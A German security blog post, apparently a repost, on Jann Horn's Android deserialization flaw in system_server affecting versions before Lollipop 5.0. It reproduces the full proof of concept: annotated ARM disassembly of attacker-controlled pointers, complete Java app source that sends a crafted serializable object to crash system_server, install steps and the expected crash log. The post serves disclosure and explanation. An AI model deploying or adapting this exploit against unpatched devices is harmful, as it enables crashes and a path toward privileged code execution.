Sicherheit · 5 min read · Jan 31, 2026

Ein Versäumnis der Android-Entwickler macht fast jedes bis heute hergestellte Android-Gerät anfällig

Table Of Contents

  • Ein Versäumnis der Android-Entwickler macht fast jedes bis heute hergestellte Android-Gerät anfällig
  • Fehler in der Serialisierung
  • Motivation
  • Proof of Concept

Ein Versäumnis der Android-Entwickler macht fast jedes bis heute hergestellte Android-Gerät anfällig

Jann Horn, ein Forscher, hat einen Proof-of-Concept für eine Sicherheitsanfälligkeit in Android entdeckt, die es einem unerfahrenen Angreifer ermöglichen könnte, das System sehr einfach anzugreifen. Offensichtlich war diese Sicherheitsanfälligkeit ein Versäumnis der Entwickler, als sie die erste Version von Android erstellten, und sie wurde nie behoben. Nachdem Horn die Sicherheitslücke bekannt gemacht hatte, veröffentlichte Google einen Patch, der jedoch nur in der neuesten Version von Android Lollipop 5.0 verfügbar ist. Das bedeutet, dass jedes Android-Gerät, das vor Lollipop 5.0 läuft, anfällig für diesen Privilegieneskalationsfehler ist.

Fehler in der Serialisierung

Die Serialisierung ist ein Prozess, bei dem die Daten einer Anwendung in Bytes umgewandelt und auf einem physischen Speicher gespeichert werden. Das Gegenteil, die Deserialisierung, ist der Prozess, bei dem diese Daten in für die App nützliche Materie umgewandelt werden. Wie Sie sich vorstellen können, ist dies ein sehr wichtiger Prozess für jede App, insbesondere für die Erstellung von Backups. „Der Android system_service läuft unter UID 1000 und kann in den Kontext jeder App wechseln, neue Anwendungen mit beliebigen Berechtigungen installieren usw.“, erklärt Horn.

Einfach ausgedrückt, hat Android keinen Mechanismus, um zu überprüfen, ob die während der Deserialisierung eingegebenen Daten aus einer vertrauenswürdigen Quelle stammen oder nicht. Ein Angreifer kann also seine eigenen Daten in das System eingeben, indem er diese Sicherheitslücke ausnutzt. Für diejenigen unter Ihnen, die technisch versierter sind, ist „java.io.ObjectInputStream“ die Methode, die ausgenutzt werden kann.

Motivation

Horn hatte die Idee, dass eine solche Sicherheitsanfälligkeit existieren könnte, nachdem er einen Vortrag an der Universität über Sicherheitsanfälligkeiten von PHP-Webanwendungen besucht hatte. Er nahm an, dass die Entwickler von Android ebenfalls einen ähnlichen Fehler gemacht und vergessen hatten, eine Sicherheitsüberprüfung durchzuführen. Sicher genug, seine Annahmen wurden bestätigt, als er zurückging und das Betriebssystem untersuchte. Und glücklicherweise entschied er sich, das Android-Team darüber zu informieren, anstatt es auszunutzen. Die Entwickler haben den Fehler höchstwahrscheinlich übersehen, da es sich nicht um etwas handelt, das man tatsächlich testet.

Die gute Nachricht ist, dass der Fehler aufgrund der integrierten Einschränkungen von Android nicht direkt ausgenutzt werden kann. Ein Angreifer ist also gezwungen, eine andere Sicherheitsanfälligkeit zu nutzen, bevor er diese hier verwenden kann. Das Android-Team veröffentlichte Anfang November einen Patch für den Fehler als Teil der AOSP (Android Open Source Project) Codeveröffentlichung. Aber wie bereits erwähnt, ist dieser Patch nur für Android 5.0 Lollipop verfügbar. Und da die Android-Umgebung so stark fragmentiert ist, können wir nicht sicher wissen, ob der Patch auf ein anderes Gerät als Nexus-Geräte gelangen wird.

Proof of Concept

Der gesamte PoC ist unten angegeben :

Die Klasse android.os.BinderProxy enthält eine finalize-Methode, die in nativen Code aufruft. Dieser native Code verwendet dann die Werte von zwei Feldern vom Typ int/long (abhängig von der Android-Version), wandelt sie in Zeiger um und folgt ihnen. Auf Android 4.4.3 ist dies der Ort, an dem einer dieser Zeiger endet. r0 enthält den vom Angreifer bereitgestellten Zeiger, und wenn der Angreifer Daten an einer bekannten Adresse in den Prozess einfügen kann, erlangt er die Ausführung beliebigen Codes in system_server: # Angreifer kontrolliert Zeiger in r0 0000d1c0 ) const>: d1c0: b570 push {r4, r5, r6, lr} d1c2: 4605 mov r5, r0 d1c4: 6844 ldr r4, [r0, #4] # Angreifer kontrolliert r4 d1c6: 460e mov r6, r1 d1c8: 4620 mov r0, r4 d1ca: f7fd e922 blx a410 d1ce: 2801 cmp r0, #1 d1d0: d10b bne.n d1ea ) const+0x2a> d1d2: 68a0 ldr r0, [r4, #8] # Angreifer kontrolliert r0 d1d4: 4631 mov r1, r6 d1d6: 6803 ldr r3, [r0, #0] # Angreifer kontrolliert r3 d1d8: 68da ldr r2, [r3, #12] # Angreifer kontrolliert r2 d1da: 4790 blx r2 # Sprung in den vom Angreifer kontrollierten r2-Zeiger Android hat ASLR, aber wie alle Apps wird system_server vom zygote-Prozess abgezweigt – mit anderen Worten, alle Apps haben dasselbe grundlegende Speicherlayout wie system_server und sollten daher in der Lage sein, das ASLR von system_server zu umgehen. Hier ist mein Crash PoC-Code. Fügen Sie es in eine Android-App ein, installieren Sie diese App, öffnen Sie sie. Wenn nichts passiert, könnte der GC sich Zeit lassen – versuchen Sie, andere Dinge zu tun oder die PoC-App erneut zu öffnen oder so. Ihr Gerät sollte nach ein paar Sekunden etwas wie einen Neustart durchführen. =============================================================================== package net.thejh.badserial; import java.io.Serializable; import java.io.UnsupportedEncodingException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.UserHandle; import android.os.UserManager; import android.util.Log; public class MainActivity extends Activity { private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle); byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) {
data[i] = ‘a’;
data[i+1] = ‘n’;
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
} @Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); Log.i(“badserial”, “starting… (v3)”); Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable(“eatthis”, evilProxy); Class clIUserManager = Class.forName(“android.os.IUserManager”);
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+” innere Klassen gefunden”);
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println(“innere Klasse: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) {
clStub = c;
}
} Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”);
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField(“mService”);
fService.setAccessible(true);
Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+” innere Klassen gefunden”);
clProxy = null;
for (Class c: stSubclasses) {
System.out.println(“innere Klasse: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) {
clProxy = c;
}
} Field fRemote = clProxy.getDeclaredField(“mRemote”);
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i(“badserial”, “waiting for boom here and over in the system service…”);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}

Das sollten Sie im Systemprotokoll sehen: F/libc ( 382): Fatal signal 11 (SIGSEGV) bei 0x1337bef3 (code=1), thread 391 (FinalizerDaemon)
[…]
I/DEBUG ( 47): pid: 382, tid: 391, name: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Resource : Secure List

Share: X/Twitter LinkedIn

Erhalte neue Beiträge in deinem Posteingang.

Kein Spam. Jederzeit abmelden.